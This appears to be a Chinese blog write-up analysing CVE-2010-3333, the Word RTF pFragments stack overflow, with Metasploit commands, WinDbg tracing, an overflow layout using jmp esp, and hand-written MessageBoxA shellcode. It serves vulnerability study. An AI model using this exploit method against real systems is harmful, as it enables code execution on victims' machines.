CVE-2010-3333
环境
windows xp sp3
office 2003 sp0
windbg
ollydbg
vmware 12.0
0x00 RTF格式
RTF是Rich TextFormat的缩写,意即富文本格式。
...(详细分析再议)
0x01 漏洞分析
1.利用Metasploit生成可触发漏洞的Poc样本
msf > search cve-2010-3333 Matching Modules
================ Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > info Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-11-09 Provided by:
wushi of team509
unknown
jduck <jduck@metasploit.com>
DJ Manila Ice, Vesh, CA Available targets:
Id Name
-- ----
0 Automatic
1 Microsoft Office 2002 SP3 English on Windows XP SP3 English
2 Microsoft Office 2003 SP3 English on Windows XP SP3 English
3 Microsoft Office 2007 SP0 English on Windows XP SP3 English
4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English
5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English
6 Crash Target for Debugging Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name. Payload information:
Space: 512
Avoid: 1 characters Description:
This module exploits a stack-based buffer overflow in the handling
of the 'pFragments' shape property within the Microsoft Word RTF
parser. All versions of Microsoft Office 2010, 2007, 2003, and XP
prior to the release of the MS10-087 bulletin are vulnerable. This
module does not attempt to exploit the vulnerability via Microsoft
Outlook. The Microsoft Word RTF parser was only used by default in
versions of Microsoft Word itself prior to Office 2007. With the
release of Office 2007, Microsoft began using the Word RTF parser,
by default, to handle rich-text messages within Outlook as well. It
was possible to configure Outlook 2003 and earlier to use the
Microsoft Word engine too, but it was not a default setting. It
appears as though Microsoft Office 2000 is not vulnerable. It is
unlikely that Microsoft will confirm or deny this since Office 2000
has reached its support cycle end-of-life. References:
https://cvedetails.com/cve/CVE-2010-3333/
OSVDB (69085)
https://technet.microsoft.com/en-us/library/security/MS10-087
http://www.securityfocus.com/bid/44652
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880 msf exploit(ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf exploit(ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/moonagirl/.msf4/local/msf.rtf
获取样本后,我们利用windbg进行分析。
2.样本分析
打开WINWORD.exe,并用windbg附加进场,再打开msf.rtf触发异常。
从打印信息里可以知道是mso.dll出问题了,执行到30e9eb88 的时候程序异常了。
我们假设发生异常的地址30e9eb88在vuln函数中。然后我们再重新运行一遍,并且事先在30e9eb88处下一个断点。
运行后打开msf.rtf在30e9eb88停下。断下后,查看栈回溯,看看是哪个函数调用到了vuln函数的。
图中,mso!Ordinal6426+0x64d函数就是vuln函数,那么调用它的函数就是mso!Ordinal1753+0x306e。然后我们再想办法看看mso!Ordinal1753+0x306e函数里发生了什么。
由上可知,mso!Ordinal1753+0x306e函数地址为30f4cc5d.我们再重新附加msf.rtf,并实先在30f4cc5d处下断点。
于是便进入了30f4cc5d函数处,也就是调用vuln函数的函数里。F10单步执行看看该函数中发生了什么。
这里该函数开辟了0x14字节的栈空间。继续跟踪。跟踪到调用vuln函数的地方。
按F8进入vuln函数。可以发现用req movs指令复制内存时,ecx的值为c8ac,即复制数据的大小。
回头看下msf.rtf样本数据,可以发现上面的c8ac其实是来源于样本数据的。它位于pFragements属性值得第三个字段,偏移8个字符后的4个字符即为复制的数据大小。
而c8ac后面的数据就是实际内存复制的数据,我们可以从内存源地址esi中看出来。
复制内存的目标地址edi刚好偏移栈底ebp共0x10个字节,加上edp本身占用的4字节,刚好共0x14字节,再覆盖下去就是函数的返回地址了。
总结:由于Word中的RTF分析器在解析pFragments属性值时,没有正确计算属性值所占用的空间大小,只要复制的数据大小超过0x14即可覆盖到函数返回地址,进而控制程序的执行流程,用于执行恶意程序。(这里RTF分析器在复制数据时会把每两个相邻的数字解析成一个16进制数转成对应的ascii复制进内存。例如:在rtf中是30复制进内存被解析成0。因此0x14个字节在rtf中要用40个垃圾字符来填充。) (:强行解释一波...hhhhhh
3.漏洞利用
我们只需将返回地址用jmp esp指令地址覆盖,例如:‘a’ * 40 + (jmp esp地址)。然后将shellcode放在后面,即可执行任意代码。由于vuln函数返回前会弹出0x14大小的栈空间,因此我们需要填充一些垃圾字符。例如:‘a’*40 + (jmp esp地址) + 'a'*40 + shellcode.
下面开始编写shellcode.
jmp esp的地址可以通过windbg在mso.dll中找到。
MessageBoxA函数地址可以通过od找到。为0x77D507EA
构造shellcode.
xor ebx,ebx
push ebx // cut string 53
push 0x20206c72
push 0x6967616e
push 0x6f6f6d20
push 0x6d612069 mov eax,esp
push ebx // Type
push eax //
push eax // Text
push ebx // hWnd mov eax,0x77D507EA // address of messageboxA
call eax push ebx
mov eax,0x7c81CAFA
call eax // FFD0
最后有(注意小写,内部有检测机制)!!!!!!!!!
0x02利用成功
CVE-2010-3333的更多相关文章
- 看个AV也中招之cve-2010-2553漏洞分析
试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...
- 应用安全-软件安全-漏洞CVE整理
jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...
- 如何使用本地账户"完整"安装 SharePoint Server 2010+解决“New-SPConfigurationDatabase : 无法连接到 SharePoint_Config 的 SQL Server 的数据 库 master。此数据库可能不存在,或当前用户没有连接权限。”
注:目前看到的解决本地账户完整安装SharePoint Server 2010的解决方案如下,但是,有但是的哦: 当我们选择了"完整"模式安装SharePointServer201 ...
- How to accept Track changes in Microsoft Word 2010?
"Track changes" is wonderful and remarkable tool of Microsoft Word 2010. The feature allow ...
- [入门级] 基于 visual studio 2010 mvc4 的图书管理系统开发初步 (二)
[入门级] 基于 visual studio 2010 mvc4 的图书管理系统开发初步 (二) Date 周六 10 一月 2015 By 钟谢伟 Category website develop ...
- [入门级] visual studio 2010 mvc4开发,用ibatis作为数据库访问媒介(一)
[入门级] visual studio 2010 mvc4开发,用ibatis作为数据库访问媒介(一) Date 周二 06 一月 2015 By 钟谢伟 Tags mvc4 / asp.net 示 ...
- c++ builder 2010 错误 F1004 Internal compiler error at 0x9740d99 with base 0x9
今天遇到一个奇怪的问题,拷贝项目后,在修改,会出现F1004 Internal compiler error at 0x9740d99 with base 0x9 ,不管怎么改,删除改动,都没用,关闭 ...
- Sharepoint 2010、Sharepoint 2013浏览器打开CAD(.dwg)
客户端配置 1.安装FreeDWGViewer.exe,设置浏览器查看 2.检查ActiveX插件是否已安装成功 服务端配置 1.开启许可模式或者通过脚本将"application/acad ...
- Microsoft Windows* SDK May 2010 或较新版本(兼容 2010 年 6 月 DirectX SDK)GPU Detect
原文链接 下载代码样本 特性/描述 日期: 2016 年 5 月 5 日 GPU Detect 是一种简短的示例,演示了检测系统中主要显卡硬件(包括第六代智能英特尔® 酷睿™ 处理器产品家族)的方式. ...
- delphi 2010与delphi XE破解版的冲突
在系统中同时安装了Dephi 2010LITE版与Delphi XE lite后,总是会有一个有问题 是因为两者都是读取C:\ProgramData\Embarcadero目录下的license文件, ...
随机推荐
- UVALive 7327【模拟】
题意: 每次方案一个或多个子序列: 每个子序列要整除m 认为分割不同,子序列边界的不同就是不同: 1246有4个 1246 12 46 124 6 12 4 6 思路: 先从整体考虑,因为取膜适用于加 ...
- JavaScript之——对象Object(一)
1. 新建对象.删除和访问: (1).新建 var obj1 = {b: 2}; //对象文本表示法 var obj2 = new Object(); obj2.a = 1; (2).访问 //第一种 ...
- gcd(2018.10.24)
良心题,暴力枚举即可. 代码: #include<cstdio> #include<cmath> #include<algorithm> using namespa ...
- D - Fliptile
#include <stdio.h> #include <iostream> #include <math.h> #include <algorithm> ...
- DISTINCT 去重---SQL
SQL SELECT DISTINCT 语句 在表中,一个列可能会包含多个重复值,有时您也许希望仅仅列出不同(distinct)的值. DISTINCT 关键词用于返回唯一不同的值. SQL SELE ...
- css水平垂直居中块整理
1.绝对定位+负margin 兼容性很好,但需要指定子块的高度和宽度,以及负margin .wp{ position: relative; width: 200px; height: 200px; b ...
- Redis特点
内存存储,速度极快. 支持的数据类型多,相比较其他的Nosql. 键:字符串 值的六种数据结构:字符串,列表,散列,集合,有序集合,HyperLogLog 附加功能强大
- web移动端滑动插件
1.slip只有6.3k可以说是非常小了,主要是通过css3里面的transform来改变的位置,控制的是父容器,使用也非常简单,具体信息移步slip.js.一个简单的demo如下 <!DOCT ...
- Connection conn = DriverManager.getConnection("jdbc:odbc:bbs");
Connection conn = DriverManager.getConnection("jdbc:odbc:bbs"); 这是JDBC连接数据库的时候用的一句话,,Conne ...
- 操作messageBox类
我们经常操作messagebox类,有时候我们又分不清一些参数,下面是一些操作messageBox的常用方法: public static class ClsMsg { public static v ...